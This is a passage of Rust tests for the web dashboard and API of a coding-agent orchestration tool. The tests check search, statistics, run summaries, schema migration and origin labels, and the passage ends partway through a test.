17667        assert_eq!(v["scope"], "chats");
17668        assert_eq!(v["total"], 1, "{v}");
17669        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17670        assert_eq!(v["hits"][0]["field"], "title");
17671        assert_eq!(v["unreadable"], 1, "{v}");
17672        let marked: Vec<&str> = v["hits"][0]["snippet"]
17673            .as_array()
17674            .unwrap()
17675            .iter()
17676            .filter(|p| p["hit"] == true)
17677            .map(|p| p["text"].as_str().unwrap())
17678            .collect();
17679        assert_eq!(marked, ["Pangolin"]);
17680
17681        // An agent turn, in a closed conversation.
17682        let v = search("zebra").await;
17683        assert_eq!(v["total"], 1, "{v}");
17684        assert_eq!(v["hits"][0]["field"], "agent");
17685        // Words may sit in different turns; all must be present.
17686        assert_eq!(search("pangolin%20thirty").await["total"], 1);
17687        assert_eq!(search("pangolin%20zebra").await["total"], 0);
17688        // Bookkeeping is not searched.
17689        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17690            assert_eq!(search(q).await["total"], 0, "{q}");
17691        }
17692        // The first line only is the title; the second line is still a turn.
17693        assert_eq!(search("second").await["hits"][0]["field"], "operator");
17694        // Open conversations are listed before closed ones.
17695        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17696
17697        let v = f.get("/api/search?scope=nope&q=a").await;
17698        assert_eq!(v.status, 400);
17699        assert!(
17700            v.body.contains("scope must be runs, tasks or chats"),
17701            "{}",
17702            v.body
17703        );
17704    }
17705
17706    #[test]
17707    fn a_question_card_links_a_task_id_to_the_task_page() {
17708        let start = APP_JS
17709            .find("function updateAskCard(")
17710            .expect("updateAskCard exists");
17711        let body = &APP_JS[start..];
17712        let body = &body[..body.find("\n}\n").expect("function end")];
17713        assert!(body.contains("question.run_is_task"));
17714        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17715        assert!(body.contains("`#/runs/${question.run}`"));
17716        assert!(body.contains("\"task\" : \"run\""));
17717    }
17718
17719    #[test]
17720    fn plain_text_message_surfaces_go_through_linkify() {
17721        assert!(APP_JS.contains("function linkify("));
17722        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17723        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17724        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17725        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17726        assert!(!APP_JS.contains("innerHTML = text"));
17727    }
17728
17729    #[test]
17730    fn implementation_rate_views_keep_independent_samples() {
17731        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17732            let a = stats::AgentStats {
17733                competitive_entered: competitive_n,
17734                competitive_wins: usize::from(competitive_n > 0),
17735                solo_entered: solo_n,
17736                solo_adopted: 2 * usize::from(solo_n > 0),
17737                ..Default::default()
17738            };
17739            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17740            for (key, n, numerator) in [
17741                ("competitive_win_rate", competitive_n, a.competitive_wins),
17742                ("solo_adoption_rate", solo_n, a.solo_adopted),
17743            ] {
17744                if n == 0 {
17745                    assert!(v[key].is_null());
17746                } else {
17747                    assert_eq!(v[key]["denominator"], n);
17748                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17749                }
17750            }
17751        }
17752        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17753        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17754        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17755        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17756    }
17757
17758    #[test]
17759    fn stats_bars_share_one_id_keyed_plan() {
17760        let start = APP_JS
17761            .find("function statsBarRows(")
17762            .expect("statsBarRows exists");
17763        let body = &APP_JS[start..];
17764        let body = &body[..body.find("\n}\n").expect("function end")];
17765        assert!(body.contains("statsBarPlan(rows)"));
17766        assert!(body.contains("statsAgentTone(row.agent)"));
17767        assert!(!body.contains("candTone(i)"));
17768        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17769        for root in [
17770            "stats-agents-bars",
17771            "stats-solo-bars",
17772            "stats-reviewers-bars",
17773        ] {
17774            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17775        }
17776    }
17777
17778    #[test]
17779    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17780        let start = APP_JS
17781            .find("function renderStatsReviewerScatter(")
17782            .expect("renderStatsReviewerScatter exists");
17783        let body = &APP_JS[start..];
17784        let body = &body[..body.find("\n}\n").expect("function end")];
17785        assert!(body.contains("statsScatterPlan(reviewers)"));
17786        assert!(body.contains("statsAgentTone(d.agent)"));
17787        assert!(APP_JS.contains("function statsScatterPlan("));
17788        assert!(
17789            APP_JS.contains("d.submitted < STATS_LOW_N")
17790                || APP_JS.contains("r.submitted < STATS_LOW_N")
17791        );
17792        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17793        assert!(APP_CSS.contains(".precision-scatter"));
17794    }
17795
17796    #[test]
17797    fn advisor_reflection_is_drawn_as_stacked_segments() {
17798        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17799        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17800        let html = include_str!("../assets/ui/index.html");
17801        assert!(html.contains("Approximate"));
17802        for label in ["reflected strongly", "faint", "no proposal"] {
17803            assert!(html.contains(label));
17804        }
17805        let css = include_str!("../assets/ui/app.css");
17806        for c in ["refl-strong", "refl-faint", "refl-absent"] {
17807            assert!(css.contains(&format!(".{c} {{")));
17808        }
17809    }
17810
17811    #[test]
17812    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17813        assert!(APP_JS.contains("function statsDailyPlan("));
17814        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17815        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17816    }
17817
17818    #[test]
17819    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17820        let start = APP_JS
17821            .find("function scheduleSearch(")
17822            .expect("scheduleSearch exists");
17823        let body = &APP_JS[start..];
17824        let body = &body[..body.find("\n}\n").expect("function end")];
17825        assert!(body.contains("s.seq += 1"));
17826    }
17827
17828    /// The dashboard reads every run's state itself rather than trusting a
17829    /// separately-maintained count, so an unreadable run must be counted the
17830    /// same way `/api/health` counts it - never silently dropped the way the
17831    /// CLI's own `stats::load_all` drops it.
17832    #[tokio::test]
17833    async fn stats_runs_unreadable_matches_health() {
17834        let f = Fixture::start().await;
17835        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17836        let broken = f.runs().join("20260902-140502-bad");
17837        std::fs::create_dir_all(&broken).expect("run dir");
17838        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17839
17840        let stats = f.get("/api/stats").await;
17841        let health = f.get("/api/health").await;
17842
17843        assert_eq!(stats.status, 200);
17844        assert_eq!(stats.json()["totals"]["runs"], 1);
17845        assert_eq!(stats.json()["runs_unreadable"], 1);
17846        assert_eq!(
17847            stats.json()["runs_unreadable"],
17848            health.json()["runs_unreadable"],
17849            "the dashboard and /api/health must never disagree about how many \
17850             runs could not be read"
17851        );
17852    }
17853
17854    #[tokio::test]
17855    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17856        let f = Fixture::start().await;
17857        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17858        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17859        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17860
17861        let totals = &f.get("/api/stats").await.json()["totals"];
17862        assert_eq!(totals["runs"], 3);
17863        assert_eq!(totals["merged"], 1);
17864        assert_eq!(totals["stalled"], 1);
17865        assert_eq!(totals["in_progress"], 1);
17866        // A stalled run must never read as blocked/merged/ready - it is its
17867        // own bucket, not folded into a "decided" one.
17868        assert_eq!(totals["blocked"], 0);
17869        assert_eq!(totals["ready"], 0);
17870    }
17871
17872    #[tokio::test]
17873    async fn stats_advisors_report_proposals_and_reflection() {
17874        use crate::advise::{Advice, AdvisorRecord, Reflection};
17875        use crate::verdict::Proposal;
17876
17877        let f = Fixture::start().await;
17878        let mut state = RunState::new(
17879            PathBuf::from("/repo/magi"),
17880            "main".to_owned(),
17881            "0123456789abcdef".to_owned(),
17882            "task".to_owned(),
17883            Config::default(),
17884        );
17885        state.id = "20260902-140501-a".to_owned();
17886        state.status = RunStatus::Merged;
17887        state.advice = Some(Advice {
17888            records: vec![
17889                AdvisorRecord {
17890                    seat: "advisor-1".to_owned(),
17891                    agent: "alpha".to_owned(),
17892                    proposal: Some(Proposal {
17893                        approach: "do it".to_owned(),
17894                        key_tradeoff: "speed over memory".to_owned(),
17895                        risks: Vec::new(),
17896                        touches: Vec::new(),
17897                        why_not_naive: "breaks under load".to_owned(),
17898                    }),
17899                    error: None,
17900                    duration_ms: 0,
17901                    reflection: Reflection::Strong,
17902                },
17903                AdvisorRecord {
17904                    seat: "advisor-2".to_owned(),
17905                    agent: "alpha".to_owned(),
17906                    proposal: None,
17907                    error: Some("timed out".to_owned()),
17908                    duration_ms: 0,
17909                    reflection: Reflection::Absent,
17910                },
17911            ],
17912            synthesis: Some("blended brief".to_owned()),
17913        });
17914        let dir = f.runs().join(&state.id);
17915        std::fs::create_dir_all(&dir).expect("run dir");
17916        std::fs::write(
17917            dir.join("run.json"),
17918            serde_json::to_string_pretty(&state).expect("serialize run"),
17919        )
17920        .expect("write run.json");
17921
17922        // `alpha` is in no roster here; this test is about the rates.
17923        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17924        let alpha = advisors
17925            .as_array()
17926            .expect("an array")
17927            .iter()
17928            .find(|a| a["agent"] == "alpha")
17929            .expect("alpha row");
17930        assert_eq!(alpha["seated"], 2);
17931        assert_eq!(alpha["proposed"], 1);
17932        assert_eq!(alpha["absent"], 1);
17933        assert_eq!(alpha["strong"], 1);
17934        assert_eq!(alpha["faint"], 0);
17935        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17936    }
17937
17938    #[tokio::test]
17939    async fn stats_hides_agents_outside_the_roster_unless_all() {
17940        use crate::run::Candidate;
17941        let repo = TempDir::new().expect("repo dir");
17942        std::fs::write(
17943            repo.path().join("magi.toml"),
17944            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17945        )
17946        .expect("magi.toml");
17947        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17948        let mut state = RunState::new(
17949            PathBuf::from("/repo/magi"),
17950            "main".to_owned(),
17951            "0123456789abcdef".to_owned(),
17952            "task".to_owned(),
17953            Config::default(),
17954        );
17955        state.id = "20260902-140501-a".to_owned();
17956        state.status = RunStatus::Merged;
17957        for (label, agent) in [('A', "keep"), ('B', "retired")] {
17958            let mut c: Candidate = serde_json::from_value(serde_json::json!({
17959                "index": 0, "label": label.to_string(), "agent": agent,
17960                "branch": "b", "worktree": "/w",
17961            }))
17962            .expect("candidate");
17963            c.label = label;
17964            state.candidates.push(c);
17965        }
17966        let dir = f.runs().join(&state.id);
17967        std::fs::create_dir_all(&dir).expect("run dir");
17968        std::fs::write(
17969            dir.join("run.json"),
17970            serde_json::to_string_pretty(&state).expect("serialize run"),
17971        )
17972        .expect("write run.json");
17973
17974        let agents_of = |v: &serde_json::Value| -> Vec<String> {
17975            v["agents"]
17976                .as_array()
17977                .expect("array")
17978                .iter()
17979                .map(|a| a["agent"].as_str().unwrap().to_owned())
17980                .collect()
17981        };
17982        let hidden = f.get("/api/stats").await.json();
17983        assert_eq!(agents_of(&hidden), ["keep"]);
17984        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17985        assert_eq!(hidden["totals"]["runs"], 1);
17986
17987        let all = f.get("/api/stats?all=true").await.json();
17988        assert_eq!(agents_of(&all).len(), 2);
17989        assert_eq!(all["retired_hidden"], serde_json::json!([]));
17990        // Verify competitive and solo keys exist on agent entries
17991        let keep_agent = all["agents"]
17992            .as_array()
17993            .unwrap()
17994            .iter()
17995            .find(|a| a["agent"] == "keep")
17996            .unwrap();
17997        assert_eq!(keep_agent["competitive_entered"], 1);
17998        assert_eq!(keep_agent["competitive_wins"], 0);
17999        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18000        assert_eq!(keep_agent["solo_entered"], 0);
18001        assert_eq!(keep_agent["solo_adopted"], 0);
18002        assert!(keep_agent["solo_adoption_rate"].is_null());
18003    }
18004
18005    #[tokio::test]
18006    async fn stats_release_bumps_split_clean_from_attention() {
18007        use crate::run::ReleaseBump;
18008
18009        let f = Fixture::start().await;
18010
18011        let mut clean = RunState::new(
18012            PathBuf::from("/repo/magi"),
18013            "main".to_owned(),
18014            "0123456789abcdef".to_owned(),
18015            "task".to_owned(),
18016            Config::default(),
18017        );
18018        clean.id = "20260902-140501-a".to_owned();
18019        clean.status = RunStatus::Merged;
18020        clean.release_bump = Some(ReleaseBump {
18021            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18022            version: Some("1.0.0".to_owned()),
18023            automerge_enabled: true,
18024            merged_directly: false,
18025            local: false,
18026            release: None,
18027            problem: None,
18028            action_required: None,
18029        });
18030
18031        let mut blocked = RunState::new(
18032            PathBuf::from("/repo/magi"),
18033            "main".to_owned(),
18034            "0123456789abcdef".to_owned(),
18035            "task".to_owned(),
18036            Config::default(),
18037        );
18038        blocked.id = "20260902-140502-b".to_owned();
18039        blocked.status = RunStatus::Merged;
18040        blocked.release_bump = Some(ReleaseBump {
18041            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18042            version: Some("1.0.1".to_owned()),
18043            automerge_enabled: false,
18044            merged_directly: false,
18045            local: false,
18046            release: None,
18047            problem: Some("checks red".to_owned()),
18048            action_required: Some("look at the PR".to_owned()),
18049        });
18050
18051        for state in [&clean, &blocked] {
18052            let dir = f.runs().join(&state.id);
18053            std::fs::create_dir_all(&dir).expect("run dir");
18054            std::fs::write(
18055                dir.join("run.json"),
18056                serde_json::to_string_pretty(state).expect("serialize run"),
18057            )
18058            .expect("write run.json");
18059        }
18060
18061        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18062        assert_eq!(bumps["merged"], 2);
18063        assert_eq!(bumps["recorded"], 2);
18064        assert_eq!(bumps["pr_opened"], 2);
18065        assert_eq!(bumps["automerge_enabled"], 1);
18066        assert_eq!(bumps["needs_attention"], 1);
18067        assert_eq!(bumps["clean"], 1);
18068        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18069        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18070    }
18071
18072    #[tokio::test]
18073    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18074        let f = Fixture::start().await;
18075        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18076
18077        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18078        assert_eq!(bumps["merged"], 1);
18079        assert_eq!(bumps["recorded"], 0);
18080        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18081        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18082        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18083        // `pr_opened` and `recorded` are both zero here, so these rates have
18084        // no denominator to compute from and must be null.
18085        assert_eq!(bumps["automerge_rate"], Value::Null);
18086        assert_eq!(bumps["attention_rate"], Value::Null);
18087    }
18088
18089    #[tokio::test]
18090    async fn stats_queue_counts_come_from_the_live_queue() {
18091        let f = Fixture::start().await;
18092        let q = f.queue();
18093        let mut queued = Task::new(
18094            "queued task".to_owned(),
18095            "do it".to_owned(),
18096            PathBuf::from("/repo"),
18097            Source::Human,
18098        );
18099        q.put(&mut queued).expect("put queued");
18100        let mut held = Task::new(
18101            "held task".to_owned(),
18102            "do it later".to_owned(),
18103            PathBuf::from("/repo"),
18104            Source::Human,
18105        );
18106        held.hold_machine(Some("out of attempts".to_owned()));
18107        q.put(&mut held).expect("put held");
18108
18109        let queue = f.get("/api/stats").await.json()["queue"].clone();
18110        assert_eq!(queue["queued"], 1);
18111        assert_eq!(queue["held"], 1);
18112        assert_eq!(queue["running"], 0);
18113        assert_eq!(queue["done"], 0);
18114        assert_eq!(queue["failed"], 0);
18115        assert_eq!(queue["blocked"], 0);
18116    }
18117
18118    #[tokio::test]
18119    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18120        let f = Fixture::start().await;
18121        let stats = f.get("/api/stats").await;
18122        assert_eq!(stats.status, 200);
18123        assert_eq!(stats.json()["totals"]["runs"], 0);
18124        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18125        assert_eq!(stats.json()["runs_unreadable"], 0);
18126        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18127        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18128        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18129        assert_eq!(stats.json()["repo"], Value::Null);
18130    }
18131
18132    #[tokio::test]
18133    async fn stats_lists_every_repository_with_runs_recorded() {
18134        let f = Fixture::start().await;
18135        write_run_repo(
18136            &f.runs(),
18137            "20260902-140501-a",
18138            RunStatus::Merged,
18139            "/repos/a",
18140        );
18141        write_run_repo(
18142            &f.runs(),
18143            "20260902-140502-b",
18144            RunStatus::Merged,
18145            "/repos/a",
18146        );
18147        write_run_repo(
18148            &f.runs(),
18149            "20260902-140503-c",
18150            RunStatus::Blocked,
18151            "/repos/b",
18152        );
18153
18154        let stats = f.get("/api/stats").await;
18155        assert_eq!(stats.status, 200);
18156        // Unfiltered - the aggregate across both repositories.
18157        assert_eq!(stats.json()["totals"]["runs"], 3);
18158        assert_eq!(stats.json()["repo"], Value::Null);
18159
18160        let repos = stats.json()["repos"].clone();
18161        let repos = repos.as_array().unwrap();
18162        assert_eq!(repos.len(), 2);
18163        // Busiest (2 runs) first.
18164        assert_eq!(repos[0]["repo"], "/repos/a");
18165        assert_eq!(repos[0]["name"], "a");
18166        assert_eq!(repos[0]["runs"], 2);
18167        assert_eq!(repos[1]["repo"], "/repos/b");
18168        assert_eq!(repos[1]["runs"], 1);
18169    }
18170
18171    #[tokio::test]
18172    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18173        let f = Fixture::start().await;
18174        write_run_repo(
18175            &f.runs(),
18176            "20260902-140501-a",
18177            RunStatus::Merged,
18178            "/repos/a",
18179        );
18180        write_run_repo(
18181            &f.runs(),
18182            "20260902-140502-b",
18183            RunStatus::Blocked,
18184            "/repos/b",
18185        );
18186
18187        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18188        assert_eq!(stats.status, 200);
18189        assert_eq!(stats.json()["totals"]["runs"], 1);
18190        assert_eq!(stats.json()["totals"]["merged"], 1);
18191        assert_eq!(stats.json()["repo"], "/repos/a");
18192        // The repository list itself is unaffected by the filter - it is
18193        // what a client switches repositories from.
18194        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18195        // runs_unreadable is a whole-workload count, never scoped to the
18196        // selected repository - see StatsView::runs_unreadable's own doc.
18197        assert_eq!(stats.json()["runs_unreadable"], 0);
18198    }
18199
18200    #[tokio::test]
18201    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18202        let f = Fixture::start().await;
18203        write_run_repo(
18204            &f.runs(),
18205            "20260902-140501-a",
18206            RunStatus::Merged,
18207            "/repos/a",
18208        );
18209        write_run_repo(
18210            &f.runs(),
18211            "20260902-140502-b",
18212            RunStatus::Merged,
18213            "/repos/b",
18214        );
18215
18216        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18217            let json = f.get(uri).await.json();
18218            let daily = json["daily"].as_array().expect("daily is an array");
18219            assert_eq!(daily.len(), 30);
18220            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18221            let mut sorted = dates.clone();
18222            sorted.sort();
18223            assert_eq!(dates, sorted);
18224            for d in daily {
18225                assert_eq!(
18226                    d["merged"].as_u64().unwrap()
18227                        + d["ready"].as_u64().unwrap()
18228                        + d["other"].as_u64().unwrap(),
18229                    d["runs"].as_u64().unwrap()
18230                );
18231            }
18232            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18233        }
18234    }
18235
18236    #[tokio::test]
18237    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18238        let f = Fixture::start().await;
18239        write_run_repo(
18240            &f.runs(),
18241            "20260902-140501-a",
18242            RunStatus::Merged,
18243            "/repos/a",
18244        );
18245
18246        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18247        assert_eq!(stats.status, 404);
18248    }
18249
18250    #[tokio::test]
18251    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18252        let f = Fixture::start().await;
18253        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18254
18255        let summary = f.get("/api/runs").await.json();
18256        let row = &summary[0];
18257        assert_eq!(row["short"], "a1b2");
18258        assert_eq!(row["status"], "ready");
18259        assert_eq!(row["done"], true);
18260        assert_eq!(row["title"], "Add a web UI");
18261        assert_eq!(row["repo_name"], "magi");
18262        assert_eq!(row["judges"], 3);
18263        assert_eq!(row["winner"], Value::Null);
18264        assert_eq!(row["reviews"], 0);
18265
18266        // The short id resolves, and the detail route is the state itself, not
18267        // a projection of it: the UI reads fields the summary does not carry.
18268        let detail = f.get("/api/runs/a1b2").await;
18269        assert_eq!(detail.status, 200);
18270        assert_eq!(detail.json()["base_branch"], "main");
18271        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18272    }
18273
18274    /// `status: "ready"` alone cannot tell a run still headed for a landing
18275    /// (a PR closed without merging, say) apart from one `[merge] mode =
18276    /// "none"` left unmerged for good — the confusion the operator flagged
18277    /// after the CLI report already grew a `not landed — nothing to do by
18278    /// design` line for exactly this case (`report.rs`). Both the list route
18279    /// and the detail route must carry a flag the phone can key on instead of
18280    /// re-deriving it from `status` + `merge.mode` itself.
18281    #[tokio::test]
18282    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18283        let f = Fixture::start().await;
18284
18285        let mut none_run = RunState::new(
18286            PathBuf::from("/repo/magi"),
18287            "main".to_owned(),
18288            "0123456789abcdef".to_owned(),
18289            "Add a web UI".to_owned(),
18290            Config::default(),
18291        );
18292        none_run.id = "20260902-140503-none".to_owned();
18293        none_run.status = RunStatus::Ready;
18294        none_run.merge = Some(crate::run::MergeOutcome {
18295            mode: crate::config::MergeMode::None,
18296            ok: true,
18297            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18298            empty: false,
18299        });
18300        write_state(&f.runs(), &none_run);
18301
18302        let mut pr_run = RunState::new(
18303            PathBuf::from("/repo/magi"),
18304            "main".to_owned(),
18305            "0123456789abcdef".to_owned(),
18306            "Add a web UI".to_owned(),
18307            Config::default(),
18308        );
18309        pr_run.id = "20260902-140504-prcl".to_owned();
18310        pr_run.status = RunStatus::Ready;
18311        pr_run.merge = Some(crate::run::MergeOutcome {
18312            mode: crate::config::MergeMode::Pr,
18313            ok: false,
18314            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18315            empty: false,
18316        });
18317        write_state(&f.runs(), &pr_run);
18318
18319        let summary = f.get("/api/runs").await.json();
18320        let rows: std::collections::HashMap<&str, &Value> = summary
18321            .as_array()
18322            .expect("an array")
18323            .iter()
18324            .map(|r| (r["id"].as_str().expect("an id"), r))
18325            .collect();
18326        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18327        assert_eq!(
18328            rows[none_run.id.as_str()]["unmerged_by_design"],
18329            true,
18330            "a mode-none Ready must be flagged in the list"
18331        );
18332        assert_eq!(
18333            rows[pr_run.id.as_str()]["unmerged_by_design"],
18334            false,
18335            "a Ready reached by a closed pull request is a different case"
18336        );
18337
18338        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18339        assert_eq!(none_detail["status"], "ready");
18340        assert_eq!(none_detail["unmerged_by_design"], true);
18341
18342        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18343        assert_eq!(pr_detail["unmerged_by_design"], false);
18344    }
18345
18346    /// `RunState::active` is only ever cleared by whoever populated it, so the
18347    /// detail route also has to say whether a daemon is actually still
18348    /// driving this run right now — otherwise a seat from a killed process's
18349    /// last wave would read as live forever.
18350    #[tokio::test]
18351    async fn run_core_survives_unavailable_related_stores() {
18352        let home = TempDir::new().unwrap();
18353        let ui = delta_test_ui(home.path());
18354        let state = RunState::new(
18355            PathBuf::from("/repo/magi"),
18356            "main".into(),
18357            "0123456789abcdef".into(),
18358            "Useful core instructions".into(),
18359            Config::default(),
18360        );
18361        let dir = ui.runs.join(&state.id);
18362        std::fs::create_dir_all(&dir).unwrap();
18363        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18364        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18365        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18366        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18367            .await
18368            .unwrap()
18369            .0;
18370        assert_eq!(core.state.instruction, state.instruction);
18371        assert_eq!(core.state.updated_at, state.updated_at);
18372        assert!(core.task.is_none());
18373        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18374    }
18375
18376    #[tokio::test]
18377    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18378        let f = Fixture::start().await;
18379        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18380        // half of this test can claim the daemon is working on it without a
18381        // second helper.
18382        let id = "20260902-140502-bbbb";
18383        let mut state = RunState::new(
18384            PathBuf::from("/repo/magi"),
18385            "main".to_owned(),
18386            "0123456789abcdef".to_owned(),
18387            "Add a web UI".to_owned(),
18388            Config::default(),
18389        );
18390        state.id = id.to_owned();
18391        state.status = RunStatus::Judging;
18392        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18393        let dir = f.runs().join(id);
18394        std::fs::create_dir_all(&dir).expect("run dir");
18395        std::fs::write(
18396            dir.join("run.json"),
18397            serde_json::to_string_pretty(&state).expect("serialize run"),
18398        )
18399        .expect("write run.json");
18400
18401        // No daemon.json at all, and no `driver_pid` recorded either (this
18402        // state was written directly, never through `execute()`): there is
18403        // nothing to confirm either way, so the route must say `"unknown"` —
18404        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18405        // run` used to get from this route before `driver_pid` existed.
18406        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18407        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18408        assert_eq!(cold["live"], "unknown", "{cold}");
18409
18410        // A fresh heartbeat naming exactly this run: the same entry now reads
18411        // as confirmed, not merely recorded.
18412        write_daemon(f.home.path(), Timestamp::now());
18413        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18414        assert_eq!(warm["live"], "live", "{warm}");
18415    }
18416
18417    #[test]
18418    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18419        let home = tempfile::tempdir().expect("temp home");
18420        let runs = home.path().join("runs");
18421        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18422            let mut state = RunState::new(
18423                PathBuf::from("/repo/magi"),
18424                "main".to_owned(),
18425                "0123456789abcdef".to_owned(),
18426                "Generated review context, not authored task criteria".to_owned(),
18427                Config::default(),
18428            );
18429            state.origin = origin;
18430            state.status = RunStatus::Blocked;
18431            // Earlier migrations must not infer these facts again.
18432            state.driver_exited = false;
18433            state.gate_ran = true;
18434            let expected = serde_json::to_value(&state).expect("serialize current state");
18435            let mut legacy = expected.clone();
18436            legacy["schema"] = serde_json::json!(13);
18437            legacy.as_object_mut().unwrap().remove("task_instruction");
18438            let dir = runs.join(&state.id);
18439            std::fs::create_dir_all(&dir).expect("run dir");
18440            let path = dir.join("run.json");
18441            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18442            std::fs::write(&path, &body).expect("write legacy run");
18443
18444            for loaded in [
18445                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18446                read_run(&runs, &state.id).expect("web migration"),
18447            ] {
18448                assert_eq!(loaded.schema, crate::run::SCHEMA);
18449                assert!(loaded.task_instruction.is_none());
18450                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18451            }
18452            assert_eq!(runs_unreadable(&runs), 0);
18453            assert_eq!(std::fs::read(&path).unwrap(), body);
18454        }
18455    }
18456
18457    /// Where a run came from is shown, and a run written before origins were
18458    /// recorded (schema 12, no `origin` key) stays readable and says so.
18459    #[tokio::test]
18460    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18461        let f = Fixture::start().await;
18462        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18463            let mut state = RunState::new(
18464                PathBuf::from("/repo/magi"),
18465                "main".to_owned(),
18466                "0123456789abcdef".to_owned(),
18467                "Add a web UI".to_owned(),
18468                Config::default(),
18469            );
18470            state.id = id.to_owned();
18471            state.origin = origin;
18472            let mut value = serde_json::to_value(&state).expect("serialize run");
18473            if let Some(schema) = schema {
18474                value["schema"] = serde_json::json!(schema);
18475                value.as_object_mut().unwrap().remove("origin");
18476            }
18477            let dir = f.runs().join(id);
18478            std::fs::create_dir_all(&dir).expect("run dir");
18479            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18480        };
18481        write(
18482            "20260930-092817-ec34",
18483            Some(crate::run::Origin::from_agent_env(
18484                Some(("4a7b".to_owned(), "chat".to_owned())),
18485                None,
18486            )),
18487            None,
18488        );
18489        write("20260930-092817-0ld1", None, Some(12));
18490
18491        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18492        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18493        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18494
18495        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
